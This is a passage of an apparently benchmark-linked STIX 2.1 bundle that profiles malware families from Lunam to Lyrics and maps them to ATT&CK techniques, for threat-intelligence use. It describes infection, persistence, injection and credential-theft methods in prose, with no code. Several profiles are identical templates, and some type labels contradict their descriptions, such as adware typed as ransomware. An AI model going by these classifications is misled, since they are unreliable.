      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d690b143-9887-58b3-8085-b3d8c39aa312",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a43f48b-3320-53f5-bcd2-d87d23eea70a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luna exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5ac749b-52ad-5ef2-857a-20c431e2275b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a43f48b-3320-53f5-bcd2-d87d23eea70a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luna exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5abb06f4-8290-5dd4-ab3a-b3042feeedef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a43f48b-3320-53f5-bcd2-d87d23eea70a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luna exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1792671f-a8a3-5cb4-b3f3-c322a0b16335",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a43f48b-3320-53f5-bcd2-d87d23eea70a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luna exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d5ba048-c985-5fd8-8a79-5118d8cbad22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a43f48b-3320-53f5-bcd2-d87d23eea70a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Luna exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8793599-e216-5024-b2c2-a65c021db572",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lunam",
      "description": "Trojan:Win32/Lunam is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lunam</b><br>To an end-user, a Lunam infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lunam is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lunam is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lunam frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lunam reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lunam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lunam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdd0829f-60fe-546b-9043-809cc885b7c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8793599-e216-5024-b2c2-a65c021db572",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lunam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c81cedf-e8bd-5360-834e-dcddb63f62e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8793599-e216-5024-b2c2-a65c021db572",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lunam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47134697-3f20-5984-be49-fd2d87357d83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8793599-e216-5024-b2c2-a65c021db572",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lunam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cd1606a-17f9-5b7e-9659-b9fb324dcc29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8793599-e216-5024-b2c2-a65c021db572",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lunam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68de493e-2836-5759-91a0-6455628b754d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8793599-e216-5024-b2c2-a65c021db572",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lunam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b1c40ce-7179-508b-b09b-6dfeac180aa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lurk",
      "description": "<h3>Executive Summary</h3>\nLurk refers to both a highly sophisticated Trojan Downloader and the infamous Russian cybercriminal syndicate that created it. The Lurk group was primarily known for orchestrating massive financial heists against Russian and Eastern European banks, stealing millions of dollars before their arrest. The Lurk trojan itself is a modular, fileless malware designed specifically for stealthy infiltration, reconnaissance, and the deployment of specialized banking modules or ransomware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe Lurk group heavily utilized strategic web compromises (watering hole attacks) and the \"Angler\" Exploit Kit to distribute the malware. By compromising legitimate news sites or forums frequented by their targets, they could silently infect systems via drive-by downloads without requiring user interaction.\n\nLurk is renowned for its advanced, \"fileless\" architecture:\n<ul>\n<li><strong>In-Memory Execution:</strong> Lurk was one of the first major malware families to operate almost entirely in RAM. The initial exploit executes a small loader that downloads the main payload as an encrypted DLL. This DLL is injected directly into a legitimate process (like `explorer.exe` or `iexplore.exe`) and never touches the physical hard drive, rendering traditional, signature-based AV completely blind.</li>\n<li><strong>Modular Architecture:</strong> The core Lurk trojan is a sophisticated backdoor that acts as a staging platform. The C2 server can push highly customized modules to the infected machine based on the target's value, including specialized banking credential stealers, network reconnaissance tools, or keyloggers.</li>\n<li><strong>Network Evasion:</strong> Lurk utilizes custom encryption protocols and frequently rotates its command-and-control (C2) domains (often using DGAs or compromised legitimate domains) to evade network-level detection and perimeter blocking.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Lurk infection is a critical, \"Code Red\" security incident. It indicates a highly targeted attack by an Advanced Persistent Threat (APT)-level criminal syndicate. The malware's primary goal is massive financial theft or, in later campaigns, the deployment of destructive ransomware across the enterprise network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Memory Forensics:</strong> Because Lurk is a fileless threat, traditional disk forensics will yield little evidence. Responders must utilize advanced memory analysis tools (like Volatility) to capture RAM dumps, identify the injected malicious threads, and extract the decrypted payload.</li>\n<li><strong>Network Isolation and Triage:</strong> Isolate the infected machine immediately to sever C2 communication and prevent lateral movement. Analyze corporate firewall and proxy logs to identify the compromised \"watering hole\" website that initiated the infection.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated in-memory capabilities and the likelihood of lateral movement, the only secure remediation is a complete bare-metal wipe and re-image of the compromised endpoint from a clean baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Lurk",
        "Banker.Lurk",
        "Win32/Lurk"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lurk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lurk"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcbbd50c-9bf0-5aa2-92f5-9d149cdc6cc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b1c40ce-7179-508b-b09b-6dfeac180aa2",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lurk exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f3c077a-0f5f-5f36-90ca-704f54ff5575",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b1c40ce-7179-508b-b09b-6dfeac180aa2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lurk exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e68ad76a-8ebd-5d3c-b486-7815bfdfe83b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b1c40ce-7179-508b-b09b-6dfeac180aa2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lurk exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05321946-401c-5972-8dce-c2baf0c2defd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b1c40ce-7179-508b-b09b-6dfeac180aa2",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lurk exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--adcc8e3d-ac3f-5822-a1ac-54ce6d7756e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lyckriks",
      "description": "Trojan:Win32/Lyckriks is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lyckriks</b><br>To an end-user, a Lyckriks infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lyckriks is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lyckriks is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lyckriks frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lyckriks reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lyckriks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lyckriks"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6346003e-3180-58bc-910c-50b48751e39b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adcc8e3d-ac3f-5822-a1ac-54ce6d7756e3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyckriks exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9b0384d-51bb-540b-945b-2ae7bae720c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adcc8e3d-ac3f-5822-a1ac-54ce6d7756e3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyckriks exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11cc073a-25de-5d45-875b-f816c20007ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adcc8e3d-ac3f-5822-a1ac-54ce6d7756e3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyckriks exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80147659-853d-53c2-ba4c-25af7bea5720",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adcc8e3d-ac3f-5822-a1ac-54ce6d7756e3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyckriks exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab28ed3e-8350-58ee-ad3c-0e6f49f36ab4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--adcc8e3d-ac3f-5822-a1ac-54ce6d7756e3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyckriks exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f4ad15c8-ff05-5deb-865f-ce2e609614e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lydra",
      "description": "Trojan:Win32/Lydra is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lydra</b><br>To an end-user, a Lydra infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lydra is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lydra is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lydra frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lydra reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lydra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lydra"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b55357f-fd35-57a8-8c0c-e5fb1a4e1968",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4ad15c8-ff05-5deb-865f-ce2e609614e9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lydra exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53b10278-66c1-5242-9da1-b87552b94fa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4ad15c8-ff05-5deb-865f-ce2e609614e9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lydra exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42281980-31bb-5e93-907b-f054cd781ddf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4ad15c8-ff05-5deb-865f-ce2e609614e9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lydra exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6199dbbf-f426-5427-a4dc-86c1c6ff4c1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4ad15c8-ff05-5deb-865f-ce2e609614e9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lydra exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--006e87d9-1b6b-54a5-8eba-4285b6a7ad6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f4ad15c8-ff05-5deb-865f-ce2e609614e9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lydra exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cfff3251-bf64-5199-bdf8-cf334b74e109",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lynx",
      "description": "Lynx (classified across antimalware engines under designations including Trojan:Win32/Lynx, Spyware:Win32/Lynx, and Trojan.Lynx) is a modular Windows infostealer and credential harvesting trojan active since 2017. Distributed primarily through spear-phishing campaigns with weaponized document attachments, deceptive cracking tools, and drive-by download vectors, Lynx specializes in extracting sensitive user authentication data from infected endpoints. Upon execution, Lynx conducts comprehensive system profiling, checking for virtualized analysis sandboxes and debuggers. It inspects local AppData paths of major Chromium- and Gecko-based browsers (including Google Chrome, Mozilla Firefox, Microsoft Edge, and Brave) to decrypt stored login passwords, cookies, credit card numbers, and autofill entries using the Windows CryptUnprotectData DPAPI function. In addition to web browsers, Lynx targets cryptocurrency wallet directories (such as Electrum, Exodus, and MetaMask extension storage), VPN configurations, and FTP client credentials (FileZilla). Collected credentials and system telemetry are bundled into a password-protected zip file and exfiltrated over HTTP POST or encrypted HTTPS to remote command-and-control servers. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Lynx",
        "Spyware:Win32/Lynx",
        "Trojan.Lynx",
        "Win32/Lynx",
        "Infostealer.Lynx"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lynx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lynx"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cc55f731-ec48-5a63-a532-1a0265ee86c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lyposit",
      "description": "Lyposit (documented extensively across threat intelligence advisories under signatures including Ransom:Win32/Lyposit, Trojan-Ransom.Win32.Lyposit, and closely associated with the infamous Reveton / Citadel police locker family) is a notorious screen-locking ransomware threat active since 2012. Distributed through drive-by exploit kits (such as Blackhole and Sweet Orange) and malicious malvertising campaigns, Lyposit immediately locks the victim's desktop upon infection. It utilizes geolocation IP lookups to display a localized law enforcement banner matching the victim's country (e.g., FBI in the US, Metropolitan Police in the UK, Gendarmerie in France, BKA in Germany). The alert falsely claims illegal computer activities were detected, activates the local webcam to take a picture of the user to heighten psychological distress, and demands payment via Ukash, Paysafecard, or Bitcoin to unlock the machine. (Observed samples in benchmark: 27)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Lyposit",
        "Trojan-Ransom.Win32.Lyposit",
        "Reveton Police Locker",
        "Trojan.Lyposit",
        "Win32/Lyposit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lyposit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lyposit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0eb13fa3-e027-5d9a-b2be-03115e866bf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lyrics",
      "description": "Adware:Win32/Lyrics (often seen as 'LyricsSay' or similar variants) is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Lyrics specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Lyrics (Browser Hijacking)</b><br>To an end-user, Lyrics makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Lyrics is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Lyrics is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Lyrics often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lyrics",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lyrics"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df59e853-4e18-5217-a6ef-6da9b8fd69b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0eb13fa3-e027-5d9a-b2be-03115e866bf1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyrics exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b37478a-4dfd-5516-be8c-14ff097750d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0eb13fa3-e027-5d9a-b2be-03115e866bf1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyrics exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
